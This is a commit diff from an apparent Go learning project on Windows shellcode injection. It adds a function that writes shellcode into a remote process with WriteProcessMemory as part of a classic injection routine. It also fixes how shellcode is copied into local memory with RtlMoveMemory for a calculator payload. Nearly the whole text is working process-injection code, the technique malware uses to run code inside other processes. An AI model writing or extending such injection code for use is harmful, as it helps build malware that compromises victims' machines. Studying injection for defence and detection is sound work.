Added CopyShellcodeToRemoteProcess()

Author: MasoudAbdaal

Shellcode/calculator.go

@@ -16,7 +16,7 @@ func ExecuteCalculator() {
 
 	shellAddr, shellSrc := AllocateShellcode()
 
-	CopyShellcodeToMemory(shellAddr, &shellSrc)
+	CopyShellcodeToMemory(shellAddr, shellSrc)
 
 	ChangeShellcodeMemoryToRX(&shellAddr, len(shellSrc))
 
@@ -46,17 +46,14 @@ func AllocateShellcode() (uintptr, []byte) {
 	return shellAddr, shellCodeSrc
 }
 
-func CopyShellcodeToMemory(destAddr uintptr, shellCodeSrc *[]byte) {
-
+func CopyShellcodeToMemory(destAddr uintptr, shellCodeSrc []byte) {
+	//RtlMoveMemory is for local process memory (not cross-process).
 	procRtlMoveMemory := dll.NtDll.NewProc("RtlMoveMemory")
 
 	procRtlMoveMemory.Call(
-
-		uintptr(unsafe.Pointer(&destAddr)),
-		// 1. Dereference Before Indexing
-		// 2. Pointer to First Element
-		uintptr(unsafe.Pointer(&(*shellCodeSrc)[0])),
-		uintptr(len(*shellCodeSrc)))
+		destAddr,
+		uintptr(unsafe.Pointer(&(shellCodeSrc)[0])),
+		uintptr(len(shellCodeSrc)))
 
 	log.Printf("[+] Shellcode Wrote Done 0x[%v] \n", destAddr)
 }

Shellcode/injection.go

@@ -35,7 +35,7 @@ func ClassicInjection() {
 
 	log.Printf("[INJECT] Memory Allocation Done, Address: 0x(%x)", addr)
 
-	CopyShellcodeToMemory(addr, &shellcode)
+	CopyShellcodeToRemoteProcess(cmdHandle, shellcode, addr)
 
 	log.Printf("[INJECT] Shellcode Moved To Process Memory \n")
 
@@ -45,6 +45,30 @@ func ClassicInjection() {
 
 }
 
+func CopyShellcodeToRemoteProcess(pHandle syscall.Handle, shellCode []byte, addr uintptr) {
+	procWriteProcessMemory := dll.Kernel32.NewProc("WriteProcessMemory")
+
+	var bytesWritten uintptr
+
+	ret, _, lastErr := procWriteProcessMemory.Call(
+		uintptr(pHandle),
+		addr,
+		uintptr(unsafe.Pointer(&shellCode[0])),
+		uintptr(len(shellCode)),
+		uintptr(unsafe.Pointer(&bytesWritten)),
+	)
+	if ret == 0 {
+		log.Panicf("[INJECT] WriteProcessMemory() failed: %v", lastErr)
+	}
+
+	if bytesWritten != uintptr(len(shellCode)) {
+		log.Panicf("[INJECT] Wrote %d/%d bytes", bytesWritten, len(shellCode))
+	}
+
+	log.Printf("[INJECT] Shellcode written to 0x%x \n", shellCode)
+
+}
+
 func ChangeRemoteProcessPermission(pHandle windows.Handle, addr uintptr, size int, newProtect uint32) {
 	var oldProted uint32